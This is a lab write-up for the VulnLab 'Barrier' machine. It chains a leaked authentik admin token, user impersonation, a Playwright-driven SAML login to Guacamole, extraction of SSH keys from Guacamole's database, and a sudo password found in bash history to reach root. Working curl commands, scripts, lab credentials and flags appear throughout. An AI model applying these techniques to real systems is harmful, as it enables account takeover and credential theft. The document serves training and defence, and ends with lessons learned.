VulnLab — Barrier Writeup

Machine Info

  • Name: Barrier
  • IP: 10.129.234.46
  • OS: Ubuntu 22.04.5 LTS
  • Difficulty: Hard
  • Key Skills: SAML Authentication, authentik Impersonation, Guacamole Credential Extraction, Privilege Escalation

Summary

Barrier is a Linux machine running GitLab CE 17.3.2 with SAML authentication via authentik 2024.10.5, and Apache Guacamole for remote access management. The attack chain leverages a leaked authentik API token (found in GitLab CI/CD variables) to impersonate a user through authentik’s admin API. This grants access to Guacamole, where stored SSH credentials are extracted from the MySQL database. A secondary SSH key with a passphrase (also stored in Guacamole’s database) provides access to a privileged user account that has full sudo permissions, leading to root.

Attack Chain:

authentik API Token --> Impersonate maki --> Guacamole SAML SSO --> DB creds --> SSH keys --> sudo root

Reconnaissance

Port Scan

Key open ports:

Port Service Details
22 SSH OpenSSH (ssh-rsa only)
80/443 HTTP/HTTPS GitLab CE 17.3.2
8080 HTTP Apache Guacamole (Tomcat)
9443 HTTPS authentik 2024.10.5 (SSO/Identity Platform)

Service Identification

  • GitLab CE 17.3.2 – Source code management with SAML authentication via authentik
  • authentik 2024.10.5 – Identity provider with SAML providers for both GitLab and Guacamole
  • Apache Guacamole – Remote desktop gateway with SAML SSO and MySQL backend

DNS/Host Configuration

The following entries were added to /etc/hosts:

10.129.234.46 barrier.vl gitlab.barrier.vl

Initial Access – authentik API Token

Discovering the Token

A leaked authentik API token was discovered in GitLab’s CI/CD variables:

AUTHENTIK_TOKEN = MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc

Verifying Admin Access

curl -sk 'https://barrier.vl:9443/api/v3/core/users/me/' \
  -H 'Authorization: Bearer MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc'

Response confirms superuser access as akadmin:

{
  "user": {
    "pk": 4,
    "username": "akadmin",
    "is_superuser": true,
    "groups": [{"name": "authentik Admins"}]
  }
}

Enumerating Users and Applications

# List users
curl -sk 'https://barrier.vl:9443/api/v3/core/users/' \
  -H 'Authorization: Bearer MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc'

Users found:

Username PK Superuser
akadmin 4 Yes
satoru 34 No
maki 35 No

Applications found:

App Slug Provider Type
Gitlab gitlab GitlabSAML SAML
Guacamole guac GuacSAML SAML

Pivoting to User – Guacamole via authentik Impersonation

Impersonating maki

authentik’s admin API allows superusers to impersonate any user. This creates a session as the target user:

curl -sk -X POST 'https://barrier.vl:9443/api/v3/core/users/35/impersonate/' \
  -H 'Authorization: Bearer MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc' \
  -H 'Content-Type: application/json' \
  -c /tmp/authentik_maki.cookies

Response: 201 Created with a new authentik_session cookie for maki.

Accessing Guacamole via SAML SSO

The Problem: SAML is a Browser Flow

SAML authentication involves multiple HTTP redirects, auto-submitting HTML forms, cookie-based sessions, and consent pages. Guacamole’s SAML integration specifically requires a browser session – it stores the auth token in the browser’s localStorage after the SAML callback, not in a cookie or API response. Attempting the full flow with curl alone fails because:

  • Guacamole’s SAML callback returns a 303 redirect with no auth cookies
  • The auth token is injected into localStorage by Guacamole’s JavaScript frontend
  • The consent flow on authentik renders a web component (ak-stage-autosubmit) that auto-submits the SAMLResponse form – this requires a JavaScript runtime

For these reasons, Playwright (a headless browser automation tool) was used to drive the full flow in a real browser context.

Step-by-Step: Automated SAML Flow with Playwright

Install Playwright:

npm install playwright
npx playwright install chromium

The automation script performs 3 phases:

Phase 1 – Authenticate on authentik and impersonate maki:

The script opens a headless Chromium browser, navigates to authentik, and uses the fetch() API within the page context to authenticate as a known user (satoru), then calls the impersonation API with the leaked admin token:

const { chromium } = require('playwright');

const browser = await chromium.launch({ headless: true });
const context = await browser.newContext({ ignoreHTTPSErrors: true });
const page = await context.newPage();

// Navigate to authentik to establish the browser context
await page.goto('https://barrier.vl:9443/if/flow/default-authentication-flow/');
await page.waitForTimeout(2000);

// Authenticate as satoru via authentik's flow executor API
await page.evaluate(async () => {
  // Initialize the flow
  await fetch('/api/v3/flows/executor/default-authentication-flow/', {
    headers: { 'Accept': 'application/json' }
  });
  // Submit username
  await fetch('/api/v3/flows/executor/default-authentication-flow/', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ component: 'ak-stage-identification', uid_field: 'satoru' })
  });
  // Submit password
  await fetch('/api/v3/flows/executor/default-authentication-flow/', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ component: 'ak-stage-password', password: '<satoru_password>' })
  });
});

// Now impersonate maki using the admin API token
await page.evaluate(async () => {
  await fetch('/api/v3/core/users/35/impersonate/', {
    method: 'POST',
    headers: {
      'Authorization': 'Bearer <AUTHENTIK_TOKEN>',
      'Content-Type': 'application/json'
    }
  });
});
// The browser session is now impersonating maki

Why authenticate as satoru first? The impersonation API requires an existing browser session. We login as satoru (a regular user whose password we know), then use the admin API token to impersonate maki within that session. The impersonation endpoint swaps the session identity to maki.

Phase 2 – Navigate to Guacamole (SP-initiated SAML flow):

Instead of initiating from authentik’s side (IdP-initiated), we navigate directly to Guacamole. Guacamole automatically redirects to authentik for SAML authentication. Since the browser already has maki’s impersonated session on authentik, the authentication completes automatically:

// Navigate to Guacamole -- triggers the SAML redirect chain:
//   1. Guacamole -> redirect to authentik with SAMLRequest
//   2. authentik sees maki's session -> auto-generates SAMLResponse
//   3. authentik consent flow auto-submits the form back to Guacamole
//   4. Guacamole callback processes the SAMLResponse
//   5. Guacamole redirects to /#/ with auth token in localStorage
await page.goto('http://barrier.vl:8080/guacamole/', {
  waitUntil: 'networkidle',
  timeout: 30000
});
await page.waitForTimeout(5000);

The browser handles all the redirects, form auto-submissions, and cookie management transparently.

Phase 3 – Extract the auth token from localStorage:

After the SAML flow completes, Guacamole stores the authentication token in the browser’s localStorage. We extract it:

const guacAuth = await page.evaluate(() => {
  return JSON.parse(localStorage.getItem('GUAC_AUTH'));
});
console.log('Token:', guacAuth.authToken);
console.log('Username:', guacAuth.username);
// Output:
// Token: 94B35A7B8B88B484010B215990F39CF95C03F50CB6955323A7DFE28A03CEB6D7
// Username: maki

Result:

{
  "authToken": "94B35A7B8B88B484010B215990F39CF95C03F50CB6955323A7DFE28A03CEB6D7",
  "username": "maki",
  "dataSource": "saml",
  "availableDataSources": ["mysql", "mysql-shared"]
}

Alternative: curl-only Approach (Partial)

It is possible to get the SAMLResponse without Playwright by using curl to call authentik’s API directly:

# 1. Impersonate maki
curl -sk -X POST 'https://barrier.vl:9443/api/v3/core/users/35/impersonate/' \
  -H 'Authorization: Bearer <AUTHENTIK_TOKEN>' \
  -c /tmp/maki.cookies

# 2. Initiate SAML SSO (sets up the consent flow)
curl -sk -b /tmp/maki.cookies -c /tmp/maki.cookies \
  'https://barrier.vl:9443/application/saml/guac/sso/binding/init/'

# 3. Execute the consent flow to get the SAMLResponse
curl -sk -b /tmp/maki.cookies \
  'https://barrier.vl:9443/api/v3/flows/executor/default-provider-authorization-implicit-consent/' \
  -H 'Accept: application/json'
# Returns JSON with attrs.SAMLResponse (base64-encoded SAML assertion)

However, submitting this SAMLResponse to Guacamole’s callback via curl only returns a 303 redirect – the auth token is never returned because it’s injected by Guacamole’s JavaScript frontend. This is why the browser-based approach is necessary for the final step.

Extracting SSH Credentials from Guacamole

Connection Parameters via API

GUAC_TOKEN="94B35A7B8B88B484010B215990F39CF95C03F50CB6955323A7DFE28A03CEB6D7"
curl -s "http://barrier.vl:8080/guacamole/api/session/data/mysql/connections/1/parameters?token=$GUAC_TOKEN"

Connection 1 – “Maintenance”:

  • hostname: localhost
  • port: 22
  • username: maki
  • private-key: (OpenSSH RSA key, unencrypted)

SSH as maki

ssh -i /tmp/maki_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]
maki@barrier:~$ id
uid=1001(maki) gid=1001(maki) groups=1001(maki)
maki@barrier:~$ cat user.txt
f205478537d8aaf768616e2cf19b3e98

Privilege Escalation – Guacamole Database to Root

Discovering Database Credentials

Guacamole’s configuration file reveals MySQL credentials:

cat /etc/guacamole/guacamole.properties
mysql-hostname: 127.0.0.1
mysql-port: 3306
mysql-database: guac_db
mysql-username: guac_user
mysql-password: guac2024

Extracting maki_adm SSH Key from Database

mysql -u guac_user -p'guac2024' guac_db \
  -e "SELECT connection_id, parameter_name, parameter_value
      FROM guacamole_connection_parameter
      WHERE parameter_name IN ('hostname','username','password','private-key','passphrase','port');"

Connection 2 reveals:

  • hostname: localhost
  • port: 22
  • username: maki_adm
  • private-key: (PEM RSA key, AES-128-CBC encrypted)
  • passphrase: 3V32FN6oViMPxyzC

SSH as maki_adm

Decrypt the private key and SSH in:

# Save key and remove passphrase
ssh-keygen -p -P '3V32FN6oViMPxyzC' -N '' -f /tmp/maki_adm_key

# Connect
ssh -i /tmp/maki_adm_key -o HostKeyAlgorithms=+ssh-rsa [email protected]
maki_adm@barrier:~$ id
uid=1002(maki_adm) gid=1002(admin) groups=1002(admin)

Sudo to Root

maki_adm’s bash history reveals a previous sudo su with the password Va4kSjgTHSd55ZLv:

maki_adm@barrier:~$ cat .bash_history
sudo su
Va4kSjgTHSd55ZLv

maki_adm@barrier:~$ sudo -l
User maki_adm may run the following commands on barrier:
    (ALL) ALL

maki_adm@barrier:~$ sudo cat /root/root.txt
4b827c20829576e4c83e440e2a849049

Flags

  • User: f205478537d8aaf768616e2cf19b3e98
  • Root: 4b827c20829576e4c83e440e2a849049

Lessons Learned

  1. API tokens in CI/CD variables – The authentik admin token stored in GitLab CI/CD variables provided full admin access to the identity provider. Secrets should be stored in dedicated vaults with rotation policies, not in CI/CD variables accessible to repository users.

  2. authentik user impersonation – Admin accounts in identity providers can impersonate any user, bypassing all authentication controls. This is by design but highlights the critical importance of protecting admin credentials.

  3. Guacamole stores credentials in plaintext – SSH private keys and passphrases stored in Guacamole’s MySQL database are accessible to anyone with database credentials. This represents a significant credential exposure risk.

  4. Passwords in bash history – The maki_adm user’s bash history contained the sudo password in plaintext, left from a previous sudo su session where the password was typed on the command line.

  5. Legacy SSH algorithms – The server only offered ssh-rsa host key algorithm, requiring explicit configuration (-o HostKeyAlgorithms=+ssh-rsa) on modern SSH clients.